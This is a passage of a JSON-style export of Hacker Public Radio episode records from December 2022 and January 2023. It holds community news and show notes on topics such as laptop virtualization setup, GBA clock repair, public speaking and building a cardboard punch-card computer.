                                                            3746Mon2022-12-12CpuinfoKlaatu
                                                            3747Tue2022-12-13Twitter and Dinner with the HumansZen_Floater2
                                                            3748Wed2022-12-14The Squirrels gift to HPRZen_Floater2
                                                            3749Thu2022-12-15Making your own partsDeltaray
                                                            3750Fri2022-12-16Southern ArizonaAhuka
                                                            3751Mon2022-12-19Using NoisetorchDeltaray
                                                            3752Tue2022-12-20It only took me 2 years to record using some 'new' hardwareJezra
                                                            3753Wed2022-12-21Some thoughts on \"Numeronyms\"Dave Morriss
                                                            3754Thu2022-12-22GOD probably will use a ChromebookZen_Floater2
                                                            3755Fri2022-12-23Synergy over sshKen Fallon
                                                            3756Mon2022-12-26Verify yourself on Mastodon with PGP and KeyoxideKlaatu
                                                            3757Tue2022-12-27Career changes.Some Guy On The Internet
                                                            3758Wed2022-12-28First sysadmin job - war storynorrist
                                                            3759Thu2022-12-29Chatting with dnt.Some Guy On The Internet
                                                            3760Fri2022-12-30BookwyrmAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr3737\n(2022-11-29) \"Review of KOBO Libra H20 e-reader\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nAaron Cocker on 2022-12-05:\n\"Kobo e-readers\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 13 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3740\n(2022-12-02) \"Batch File Variables; Nested Batch Files\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHipernike on 2022-09-01:\n\"Forkbomb\"
                                                              • Comment 2:\nKevin O'Brien on 2022-09-01:\n\"You are most welcome\"

                                                              \n
                                                            • hpr3741\n(2022-12-05) \"HPR Community News for November 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2022-12-05:\n\"Freedom VS Free\"

                                                              \n
                                                            • hpr3744\n(2022-12-08) \"Advent of code Day 1 - 4\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2022-12-08:\n\"Fun with Advent of Code (AoC)\"

                                                              \n
                                                            • hpr3746\n(2022-12-12) \"Cpuinfo\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nzloster on 2022-12-12:\n\"A tool with very detailed information about the cache configuration of the CPUs\"

                                                              \n
                                                            • hpr3750\n(2022-12-16) \"Southern Arizona\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2022-12-17:\n\"Ajo\"
                                                              • Comment 2:\nbrian-in-ohio on 2022-12-17:\n\"history\"

                                                              \n
                                                            • hpr3754\n(2022-12-22) \"GOD probably will use a Chromebook\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBill Dietrich on 2022-12-24:\n\"Twitter\"

                                                              \n
                                                            • hpr3756\n(2022-12-26) \"Verify yourself on Mastodon with PGP and Keyoxide\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-12-27:\n\"I have done this\"
                                                              • Comment 2:\nnorrist on 2022-12-27:\n\"Me too\"

                                                              \n
                                                            • hpr3757\n(2022-12-27) \"Career changes.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2022-12-27:\n\"Thanks for sharing.\"
                                                              • Comment 2:\njanedoc on 2022-12-27:\n\"Thanks for an informative show\"
                                                              • Comment 3:\nbinrc on 2022-12-28:\n\"binrc@protonmail.com\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-December/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on\narchive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in May\n2022. We are keeping a running total here to show progress:

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            \nMonth\n\nMonth count\n\nRunning total\n\nRemainder\n
                                                            \n2022-04\n\n130\n\n130\n\n1429\n
                                                            \n2022-05\n\n140\n\n270\n\n1289\n
                                                            \n2022-06\n\n150\n\n420\n\n1139\n
                                                            \n2022-07\n\n155\n\n575\n\n984\n
                                                            \n2022-08\n\n155\n\n730\n\n829\n
                                                            \n2022-09\n\n150\n\n880\n\n679\n
                                                            \n2022-10\n\n155\n\n1035\n\n524\n
                                                            \n2022-11\n\n230\n\n1265\n\n294\n
                                                            \n2022-12\n\n294\n\n1559\n\n0\n
                                                            \n

                                                            \nTable updated: 2022-12-29 20:54:45\n

                                                            \n

                                                            \nThanks to all 51 HPR contributors in 2022!\n

                                                            \n

                                                            \n

                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3762,"date":"2023-01-03","title":"Existence is pain","duration":1329,"summary":"RSI, carpal tunnel syndrome and ergonomics","notes":"

                                                            I know right no show notes .. ok FINE !

                                                            \n

                                                            https://www.google.com/search?q=herman+miller+aeron+%22used%22

                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"rsi, carpal tunnel and ergonomics\nhealth,rsi,carpal tunnel,ergonomics","version":0,"downloads":0,"valid":1}, {"id":3763,"date":"2023-01-04","title":"The Baader-Meinhof Phenomenon","duration":767,"summary":"A look into this psychological phenomenon ","notes":"

                                                            Baader-Meinhof Phenomenon

                                                            \n

                                                            This is a psychological experience.

                                                            \n

                                                            When I describe it in full, if you are of any age, you will almost\ncertainly think \"oh yes, that has happened to me.\"

                                                            \n

                                                            For older listeners, the name Baader-Meinhof might be memorable as a\nname given to a group who liked to call themselves the 'Red Army\nFaction.'

                                                            \n

                                                            The name Baader-Meinhof, after two notable members of the group, was\ngiven to it by journalists.

                                                            \n

                                                            In the late sixties, all through the seventies, and even into the\neighties, the Red Army Faction were responsible for a number of\nterrorist attacks in and around East and West Germany. One person's\nterrorist is another person's freedom fighter, but we will not get into\nthat discussion.

                                                            \n

                                                            This psychological phenomenon was given the name, after a man wrote a\nletter to a newspaper in 1994 pointing out that he had recently heard\nthe name, Baader-Meinhof, and thereafter, seemed to hear or see it again\nand again.

                                                            \n

                                                            Following that, many people wrote to the same newspaper making\nsimilar comments, about recently heard names, usually nouns, which were\nthen noticed by them frequently.

                                                            \n

                                                            The phenomenon was also given the name 'Frequency Illusion' in\n2005.

                                                            \n

                                                            Wikipedia

                                                            \n

                                                            Here is\nthe Wikipedia link to the page for the 'Frequency Illusion', also known\nas the 'Baader-Meinhof Phenomenon.

                                                            \n","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Baader-Meinhof Phenomenon","version":0,"downloads":0,"valid":1}, {"id":3764,"date":"2023-01-05","title":"My text-focused journey into tech","duration":1151,"summary":"My journey into technology covering some of the prose-writing technology I've used along the way.","notes":"\n

                                                            enistello can be reached by email:
                                                            \nenistello@tuta.io
                                                            \nOr on Mastodon:
                                                            \n@ensitello@fosstodon.org

                                                            \n","hostid":415,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"text,emacs,linux,mac,distraction-free,vim,prose,plain text","version":0,"downloads":0,"valid":1}, {"id":3765,"date":"2023-01-06","title":"Fixing clock events in GBA pokemon cartridges","duration":823,"summary":"Tinkering with the RTC (Real Time Clock) hardware on Gameboy Advance cartridges","notes":"

                                                            Pokemon games for the GBA (Game Boy Advance) have an internal RTC\nchip with a coin battery to keep track of the time when the console is\npowered off.
                                                            \nWhat happens when the internal battery runs dry? How to fix it?
                                                            \nIs this enough to completely restore calendar-based events?

                                                            \n
                                                              \n
                                                            • Tools:

                                                              \n
                                                                \n
                                                              • https://github.com/megaboyexe/GBA_RTCRead
                                                              • \n
                                                              • https://gbatemp.net/threads/how-to-reset-the-rtc-in-gba-pokemon-games-after-replacing-the-battery.558620/
                                                              • \n
                                                              • Swapping battery instructions https://www.youtube.com/watch?v=1piXd3ffwug
                                                              • \n
                                                            • \n
                                                            • Additional resources:

                                                              \n
                                                                \n
                                                              • https://www.youtube.com/watch?v=jzauCmOvF_U\n(few mistakes about here)
                                                              • \n
                                                              • https://www.youtube.com/watch?v=TrIAyAKg2S0\n(followup videos with corrections)
                                                              • \n
                                                            • \n
                                                            \n","hostid":407,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"nintendo,gba,swapping battery,RTC clock,savefile editing,game boy advance","version":0,"downloads":0,"valid":1}, {"id":3766,"date":"2023-01-09","title":"ACER Nitro 5 laptop review","duration":588,"summary":"ACER Nitro 5 laptop review","notes":"

                                                            Some scant notes and web\nlinks

                                                            \n

                                                            The manufacturers website:
                                                            \nhttps://store.acer.com/en-us/nitro-5-gaming-laptop-an515-57-537y

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Device nameNot disclosed
                                                            ProcessorIntel(R) Core(TM) i5-10300H CPU @ 2.50GHz\n2.50 GHz
                                                            Installed RAM8.00 GB (7.83 GB usable)
                                                            System type64-bit operating system, x64-based\nprocessor
                                                            Pen and touchNo pen or touch input is available for\nthis display
                                                            \n","hostid":365,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"laptop reviews, ACER","version":0,"downloads":0,"valid":1}, {"id":3767,"date":"2023-01-10","title":"LP article from Wikipedia","duration":2561,"summary":"LP article from Wikipedia about the long playing vinyl record and its history.","notes":"

                                                            LP record entry from\nWikipedia

                                                            \n

                                                            Wikipedia - LP

                                                            \n
                                                              \n
                                                            • The RIAA did something right.

                                                              \n

                                                              In 1954, the Recording Industry Association of America (RIAA)\nintroduced a standard equalization curve to be used by all record\nmanufacturers.

                                                            • \n
                                                            \n","hostid":318,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio, vinyl, record, media, history","version":0,"downloads":0,"valid":1}, {"id":3768,"date":"2023-01-11","title":"Jeep Ignition Repair","duration":631,"summary":"Replacing ignition on my 1999 Jeep Wrangler","notes":"

                                                            I should have started by removing these two screws

                                                            \n

                                                            \"Kneeboard
                                                            \nClick the thumbnail to see the full-sized image

                                                            \n\n

                                                            But I actually started with two of these screws, removed the knee board, then removed the third screw

                                                            \n

                                                            \"Column
                                                            \nClick the thumbnail to see the full-sized image

                                                            \n\n

                                                            I removed the ignition assembly by removing these three screws. There is a large bump on the bottom, this is where the spring that lifts the ignition locking mechanism goes

                                                            \n

                                                            \"Lower
                                                            \nClick the thumbnail to see the full-sized image

                                                            \n\n

                                                            \"Side
                                                            \nClick the thumbnail to see the full-sized image

                                                            \n\n

                                                            The piece of ignition that had broken

                                                            \n

                                                            \"Broken
                                                            \nClick the thumbnail to see the full-sized image

                                                            \n\n

                                                            Replacement part. The marked part is very delicate and will snap easily

                                                            \n

                                                            \"Good
                                                            \nClick the thumbnail to see the full-sized image

                                                            \n","hostid":408,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cars, repairs","version":0,"downloads":0,"valid":1}, {"id":3769,"date":"2023-01-12","title":"Crouching laptop, hidden server (part 0).","duration":835,"summary":"Virtualized battlegrounds.","notes":"

                                                            Crouching laptop, hidden\nserver (part 0).

                                                            \n

                                                            Virtualized battlegrounds.

                                                            \n
                                                              \n
                                                            • Archer72's system: Acer\nAspire 5750-6866\n
                                                                \n
                                                              • CPU: Intel Core i3 2350M (2.3 GHz max, 2 cores, 3MB cache).
                                                              • \n
                                                              • RAM: 4GB DDR3-1600 SODIMM (2 x 2GB currently, 2 x 4GB upgrade\nplanned).
                                                              • \n
                                                              • Video: Integrated Intel GMA HD 3000.
                                                              • \n
                                                              • DISK: 120GB SATA SSD.
                                                              • \n
                                                              • NIC: Integrated 1000 mbps.\n
                                                                  \n
                                                                • 802.11 b/g/n Wi-Fi.
                                                                • \n
                                                                • Bluetooth not installed.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • SGOTI's system: HP Notebook\n14-ck0052cl\n
                                                                \n
                                                              • CPU: Intel Core i3-8130U (2.2 GHz - 4 GHz max, 2 cores, 4MB\ncache).
                                                              • \n
                                                              • RAM: 16GB DDR4-2400 SDRAM (2 x 8GB, upgraded).
                                                              • \n
                                                              • Video: Integrated Intel UHD Graphics 620.
                                                              • \n
                                                              • DISK: 1TB 5400 rpm SATA HDD (with empty m.2 SATA slot).
                                                              • \n
                                                              • NIC: Integrated 10/100/1000 GbE LAN.\n
                                                                  \n
                                                                • 802.11 b/g/n Wi-Fi & Bluetooth 4.2 combo.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Software\nand documumentation mentioned during the show.

                                                            \n
                                                              \n
                                                            • Running Laptop, server style, with the Lid closed.\n
                                                                \n
                                                              1. Edit logind.conf\nsudo vim /etc/systemd/logind.conf.
                                                              2. \n
                                                              3. Remove the # from these lines then set values to\nignore:\n
                                                                  \n
                                                                • HandleSuspendkey=ignore
                                                                • \n
                                                                • HandleLidSwitch=ignore
                                                                • \n
                                                                • HandleLidSwitchDocked=ignore
                                                                • \n
                                                              4. \n
                                                              5. Save then quit.\n
                                                                  \n
                                                                • I'm not going to tell you how ;)
                                                                • \n
                                                              6. \n
                                                              7. Finally, restart systemd-logind.\n
                                                                  \n
                                                                • sudo systemctl restart systemd-logind.service
                                                                • \n
                                                              8. \n
                                                            • \n
                                                            \n

                                                            Way of the Archer72.

                                                            \n\n

                                                            Way of the SGOTI.

                                                            \n
                                                              \n
                                                            • RHEL\nDocumentation: Creating guests with virt-install\n
                                                                \n
                                                              • RHEL\n9 product documentation list
                                                              • \n
                                                              • You can use the virt-install command to create virtual\nmachines and install operating system on those virtual machines from the\ncommand line. virt-install can be used either interactively\nor as part of a script to automate the creation of virtual\nmachines.
                                                              • \n
                                                            • \n
                                                            • virt-manager\n
                                                                \n
                                                              • The virt-manager application is a desktop user\ninterface for managing virtual machines through libvirt. It primarily\ntargets KVM VMs, but also manages Xen and LXC (linux containers).
                                                              • \n
                                                              • virt-install is a command line tool which provides an\neasy way to provision operating systems into virtual machines.
                                                              • \n
                                                              • virt-viewer is a lightweight UI interface for\ninteracting with the graphical display of virtualized guest OS. It can\ndisplay VNC or SPICE, and uses libvirt to lookup the graphical\nconnection details.
                                                              • \n
                                                              • virt-clone is a command line tool for cloning existing\ninactive guests. It copies the disk images, and defines a config with\nnew name, UUID and MAC address pointing to the copied disks.
                                                              • \n
                                                              • virt-xml is a command line tool for easily editing\nlibvirt domain XML using virt-install’s command line options.
                                                              • \n
                                                              • virt-bootstrap is a command line tool providing an easy\nway to setup the root file system for libvirt-based containers.
                                                              • \n
                                                            • \n
                                                            • qemu documentation\n
                                                            • \n
                                                            • KVM homepage\n
                                                                \n
                                                              • KVM (for Kernel-based Virtual Machine) is a full virtualization\nsolution for Linux on x86 hardware containing virtualization extensions\n(Intel VT or AMD-V). It consists of a loadable kernel module, kvm.ko,\nthat provides the core virtualization infrastructure and a processor\nspecific module, kvm-intel.ko or kvm-amd.ko.
                                                              • \n
                                                              • Using KVM, one can run multiple virtual machines running unmodified\nLinux or Windows images. Each virtual machine has private virtualized\nhardware: a network card, disk, graphics adapter, etc.
                                                              • \n
                                                            • \n
                                                            • Cockpit\n
                                                            • \n
                                                            • Youtube\nvideo: Fedora server on a Laptop.\n
                                                                \n
                                                              • 14:45, editing /etc/systemd/logind.conf
                                                              • \n
                                                            • \n
                                                            • Youtube\nvideo: Deploying Nextcloud AIO containers.
                                                            • \n
                                                            \n

                                                            Additional Information.

                                                            \n
                                                              \n
                                                            • What\nis an IP address?
                                                            • \n
                                                            • What's my IP\naddress?
                                                            • \n
                                                            • What is\nDDNS?
                                                            • \n
                                                            • Cloudflare\nDDNS glossary
                                                            • \n
                                                            • How To Forward a Port.\n
                                                                \n
                                                              • A port forward is a way of making a computer on your home or\nbusiness network accessible to computers on the internet, even though\nthey are behind a router or firewall. It is commonly used in gaming,\nsecurity cameras, home automation, and the Internet of Things (IoT).\nPort forwards are setup in your router. A forwarded port is also known\nas open. After you have forwarded a port you have an open port.
                                                              • \n
                                                            • \n
                                                            • List of\nDDNS solutions (with no upfront cost to the user).
                                                            • \n
                                                            • Duck Duck Go Search for Dynamic\nDNS
                                                            • \n
                                                            \n","hostid":391,"series":8,"explicit":0,"license":"CC-BY-SA","tags":"proxmox, virt-install, virtual machine, DDNS, laptop","version":0,"downloads":0,"valid":1}, {"id":3770,"date":"2023-01-13","title":"Tucson","duration":908,"summary":"We move to Benson, a town just southeast of Tucson, where we will stay for a month.","notes":"

                                                            We wrap up our stay in Ajo, Arizona and move over to Benson, Arizona, not far from Tucson. Here we will stay for a month. And we don't run out of things to do. This was one of our favorite stops of the trip.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Arizona","version":0,"downloads":0,"valid":1}, {"id":3771,"date":"2023-01-16","title":"How I eliminated pain naturally","duration":1186,"summary":"I describe how I managed to eliminate pain from carpal tunnel syndrome and osteoarthritis.","notes":"

                                                            Wikipedia articles used:
                                                            \nhttps://en.wikipedia.org/wiki/Hypoalgesia
                                                            \nhttps://en.wikipedia.org/wiki/Interval_training

                                                            \n

                                                            Transcript and accompanying photos can be found here by the date this\npodcast is released to the feed: https://pquirk.com

                                                            \n

                                                            Wikipedia article on the Microsoft ergonomic keyboards:
                                                            \nhttps://en.wikipedia.org/wiki/Microsoft_ergonomic_keyboards

                                                            \n

                                                            Latest version of the Microsoft natural keyboard: https://www.microsoft.com/en-us/d/microsoft-ergonomic-keyboard/93841ngdwr1h

                                                            \n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"elliptical,ergonomics,pain,natural,Microsoft,Logitech,Elecom","version":0,"downloads":0,"valid":1}, {"id":3772,"date":"2023-01-17","title":"Adventures with a small solar panel","duration":1663,"summary":"I have a look at a cheap solar panel and learn a bit about how it works, and doesn't work.","notes":"

                                                            Solar panels are not like other sources of electricity that we are\nused to using, such as the mains or batteries. In this episode I recount\nwhat I have learned from playing with a small few-watt solar panel and\nhow to coax useful electricity out of it. Some multimeters were harmed\nin the making of this episode.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"solar,electricity,power,electronics","version":0,"downloads":0,"valid":1}, {"id":3773,"date":"2023-01-18","title":"My Public Speaking Rules","duration":1055,"summary":"Some tips on public speaking for technical talks or lectures.","notes":"

                                                            Public Speaking

                                                            \n

                                                            For many people, public speaking is a very traumatic thing.

                                                            \n

                                                            It is not something that has ever held any great terror for me. That\nis especially true now I am totally blind.

                                                            \n

                                                            My Public Speaking Rules

                                                            \n

                                                            These are some rules I live by when public speaking. These apply to\nthings like technical talks or lectures. Not necessarily to after dinner\nspeaking, or the speech you might give as the best man at a wedding.\nThose things are different entirely:

                                                            \n
                                                              \n
                                                            1. NEVER start a talk with an apology for being a bad public\nspeaker. You will be implanting in the audience the subconscious\nsuggestion that they are about to sit through a talk given by a bumbling\nidiot with limited knowledge of the published subject.

                                                            2. \n
                                                            3. Three part rule. A talk about a technical or serious subject\nshould be divided into these three parts

                                                              \n
                                                                \n
                                                              • tell them what you are going to be talking about
                                                              • \n
                                                              • the meat of the talk
                                                              • \n
                                                              • summarise what you just told them.
                                                              • \n
                                                              \n

                                                              This was given to me a very long time ago by a retired lecturer from\nthe London School of Economics.

                                                            4. \n
                                                            5. The people in the audience wanted to be there. So there is little\nor no hostility in the room. And much empathy.

                                                            6. \n
                                                            7. Don't rush yourself. Pace the talk. Rushing can be a nasty\nfeedback loop which makes your pace increase and your level of\nconfidence plummet.

                                                            8. \n
                                                            9. Don't be afraid of pauses, or silence. These moments can give you\nbreathing space to summarise in your own mind where you are at, whether\nthe last thing you said needs amplification, and what is to come\nnext.

                                                            10. \n
                                                            11. Don't be afraid of the 'ums and erms.' But keep it to a minimum.\nSilence is better than verbal ticks.

                                                            12. \n
                                                            13. Keep humour to a minimum. Depends on the kind of event. If you\nare the best man at a wedding, you are supposed to inject humour,\nprobably at the expense of the groom.

                                                            14. \n
                                                            15. You don't need to pick out one audience member to talk to. You\nare just as effective if you are focused on the back wall. Talking to\njust one member of the audience, particularly if they are right at the\nfront, is probably not a good look. Glancing round the room helps to\nmake everybody feel included.

                                                            16. \n
                                                            \n

                                                            Notes

                                                            \n

                                                            I probably broke some of my rules, in particular inserting verbal\nticks early in the podcast. I think I improved focus as I went on.

                                                            \n

                                                            I inserted some humour, including some comments about my family\nChristmas, but then it is, well, Christmas.

                                                            \n

                                                            I am almost never happier than when I am learning new things.

                                                            \n

                                                            I am fiercely proud of, and amazed at the amount of things I know\nabout a lot of subjects. I am a knowledge sponge.

                                                            \n

                                                            The one thing that does make me happier than learning, is sharing\nwhat I know. Which I often do in a tone which suggests I am just amazed\nat the fact I know this stuff at all.

                                                            \n

                                                            Remember, the things you don't yet know are more important than the\nthings you already know. That is true for everybody. So share your\nknowledge in good spirit, keeping arrogance out of the picture.

                                                            \n","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"public speaking,","version":0,"downloads":0,"valid":1}, {"id":3774,"date":"2023-01-19","title":"Emergency Show posted in 2014. Chump Car Report","duration":1500,"summary":"The racing series for $500 cars.","notes":"

                                                            \nFrom Wikipedia, the free encyclopedia
                                                            \nThe Optima Batteries ChumpCar World Series is a series of automotive endurance races held on paved road race courses across North America. The races range in length from 6 to 36 hours. The name is a parody of Champ Car, a defunct open wheel professional racing series. Races are sanctioned throughout the United States, as well as in Canada and Mexico. Teams are encouraged, but not required, to decorate their cars with themes.\n

                                                            \n\n\n\n

                                                            \nI am using dimensional analysis.
                                                            \n(1.97 miles X 60 seconds X 60 minutes) / (110 seconds lap time X 1 minute X 1 hour) = 64.47 MPH for one lap.
                                                            \nnow it's your turn! A slower lap took 120 seconds - how fast was Jonny going?\n

                                                            \n\n

                                                            \n Editor's Note 2023-01-23: All of the above chumpcar.com links seem to be dead. They have been replaced with links from the WayBack Machine (archive.org).\n

                                                            \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Racing, Chump Car World Series, MonsterB, Portland Oregon, sounds, boring","version":0,"downloads":0,"valid":1}, {"id":3775,"date":"2023-01-20","title":"Emergency Show posted in 2014. How to make a punch-card computer","duration":850,"summary":"How to make a punch-card computer from stuff from the kitchen","notes":"\n

                                                            How to make a punch-card computer

                                                            \n\n

                                                            In this show we are going to make a punch-card computer out of stuff from your kitchen.

                                                            \n\n

                                                            Most of the materials are things you would otherwise have thrown away.

                                                            \n\n

                                                            What you will need

                                                            \n\n
                                                              \n
                                                            • An empty breakfast cereal box.
                                                            • \n
                                                            • Some bamboo barbecue skewers, eight for an eight bit computer, nine for a nine bit etc. These things come in cheap packs of many skewers. Or you could clean up used skewers.
                                                            • \n
                                                            • Scissors or a sharp craft knife.
                                                            • \n
                                                            • Some glue. Preferably washable PVA glue if you care about your clothes or have a small child 'helping'.
                                                            • \n
                                                            • Some pieces of card which you can write on, the number corresponds to the 'bit-ness' of the computer. If you used eight skewers, you need eight bits of card. These need to be slightly narrower than the cereal box. They could be made from other cereal boxes sliced up. A height of about four inches, ten centimetres is good.
                                                            • \n
                                                            • An enquiring mind and temporarily suspended credulity.
                                                            • \n
                                                            \n\n

                                                            What to do

                                                            \n\n

                                                            Step 1:

                                                            \n\n

                                                            Prepare the case of the computer.

                                                            \n\n

                                                            Cut off the box flaps at the top where the cereal was poured out.

                                                            \n\n

                                                            The computer will eventually be used standing up in the usual position with the open end at the top.

                                                            \n\n

                                                            Step 2:

                                                            \n\n

                                                            Making a chute at the bottom.

                                                            \n\n

                                                            You need to make a sort of chute at the bottom so that stuff that falls down into the box will slide out the front.

                                                            \n\n

                                                            Do this by cutting a horizontal line across the width of the box about four or five inches, about eight centimetres from the bottom edge of the box.

                                                            \n\n

                                                            Now cut down the front edges of the box from the horizontal slit to the bottom.

                                                            \n\n

                                                            This will make a flap that you can fold down by putting your hand inside and pushing it out.

                                                            \n\n

                                                            Hinge it down and make a fold in this flap about half an inch (one centimetre) from the front edge of the flap.

                                                            \n\n

                                                            Coat the inside of the flap, above the fold, with glue. Now push the flap back up and press the folded (gluey) portion of the flap against the inside of the back of the box. You could use some sticky tape to hold it down while it dries.

                                                            \n\n

                                                            When the glue has dried you will be able to see how this now forms a chute at the bottom of the box.

                                                            \n\n

                                                            Step 3:

                                                            \n\n

                                                            Now draw a horizontal line across the front side of the box about an inch, or 2.5 centimetres from the open end.

                                                            \n\n

                                                            Now is the trickiest part because you will need to do some arithmetic. Pity you don't have a computer, right?

                                                            \n\n

                                                            You need to measure out a number of points across this line which correspond to the bit-ness of your computer. So if you are making an eight bit computer, you need eight marks spaced equally across this line, that's nine gaps across.

                                                            \n\n

                                                            When you have done this you are going to pierce holes in the box with either one of the BBQ skewers or something sharper. You need for the skewers to pass right through the box and out the back side, in the same position as accurately as possible. This might be easier if you draw and measure out the same points on the back panel and push holes through from both sides.

                                                            \n\n

                                                            Either way what you are aiming for is to make the path through the box as accurately level and equi-distant as possible. The skewers should pass through the box and remain parallel.

                                                            \n\n

                                                            Step 4:

                                                            \n\n

                                                            We are now going to make the punched cards.

                                                            \n\n

                                                            Create the same number of cards as the bit-ness of your computer. So an eight bit computer will require eight cards.

                                                            \n\n

                                                            The cards will be almost as wide as the inside of the box, and tall enough to write stuff on but not high enough to show their bottom edges through the chute hole at the bottom of the computer. And not so tall that when they fall to the bottom they get wedged between the chute and the back wall of the computer.

                                                            \n\n

                                                            Laying each card flat on the table, draw a horizontal line across the card about\nthe same distance from its top edge as you drew the line into which you punched holes in the body of the computer.

                                                            \n\n

                                                            You will need to measure out the same number of holes across this as the holes across your computer. Again accuracy is important if the computer is to work smoothly.

                                                            \n\n

                                                            Make each hole in the punched cards large enough that the skewers you used pass through the hole with no resistance. A hand-held single hole punch is good for this.

                                                            \n\n

                                                            The holes need to line up when the stack of cards is held flat in a pack.

                                                            \n\n

                                                            Step 5:

                                                            \n\n

                                                            Programming your punched cards.

                                                            \n\n

                                                            Take each card in turn and change all but one of the holes into a slot from the holes to the top of the card.

                                                            \n\n

                                                            For example, for card one, in an eight bit computer, leave hole zero (left-most for little-endian) as it is and for holes 1 to 7 cut from each side of the hole to the top edge, removing the little bit of card.

                                                            \n\n

                                                            So when a card is done it will look a bit like a comb with one hole somewhere along the row, corresponding to which bit the card represents.

                                                            \n\n

                                                            For the next card cut all the holes except the one to the right of the last one.

                                                            \n\n

                                                            When you have done this and placed the cards in a stack, you will see that what you have is a stack of cards, each of which has 1 intact hole and bit-ness minus 1 slots.

                                                            \n\n

                                                            Step 6:

                                                            \n\n

                                                            Loading the program into your computer.

                                                            \n\n

                                                            Holding the cards together in a stack, feed them into the top of the computer, with the punches at the top closest to the open top end of the box.

                                                            \n\n

                                                            Holding the cards in place so that their holes line up with the holes in the box, push skewers through from the front of the box, through the corresponding holes and slots in the stack of cards.

                                                            \n\n

                                                            Now when you stand the computer up, what you have is a box containing a stack of punched cards, each of which is only held in place by one skewer.

                                                            \n\n

                                                            And if you cut the cards to be very close to the width of the box, the cards will sit straight without drooping down at one end.

                                                            \n\n

                                                            Step 7:

                                                            \n\n

                                                            Getting some data out of your computer.

                                                            \n\n

                                                            Before you loaded the cards into the computer, you wrote some data on them, right?

                                                            \n\n

                                                            If you have an eight bit computer and you have eight kids, you will never forget their birthday again. Write the name and birthday of each child on a card and write their name above the skewer hole on the box, using the hole which corresponds to their card, the one with the intact (not a slot) in it.

                                                            \n\n

                                                            When you pull that skewer out, the corresponding card is no longer held in the box, and it drops down and slides out of the chute. Pity it's not quite as much fun as getting nice crisp bank notes out of a cash-machine.

                                                            \n\n

                                                            Finally, take a magic-marker and write 'Windows Vista' on the front of the box. And it might be a good idea to snip off the sharp ends of the bamboo skewers before you put your eye out or damage a small child.

                                                            \n\n

                                                            Troubleshooting

                                                            \n\n

                                                            Problem: When I pull out a skewer, no card drops out.

                                                            \n\n

                                                            Possible causes: There is too much friction between the cards or between the outer edges of the card and the sides of the box. When you load the cards, try to spread them apart a bit. And make the cards a few millimetres narrower than the box. Or the holes and slots in the cards are too small and there is too much friction between the edges of a slot and a skewer.

                                                            \n\n

                                                            Conclusion

                                                            \n\n

                                                            This is a totally pointless activity and you need to get out more.

                                                            \n\n

                                                            I remember seeing this somewhere when I was a very small child. Either in a book or on TV. I think it may have been my slightly older brother who made it. I have the vaguest recollection of a cereal box with some of my mum's knitting needles sticking out.

                                                            \n\n

                                                            If you used eight bamboo skewers, you are now the proud owner of an eight bit computer with eight bits of random access memory.

                                                            \n\n

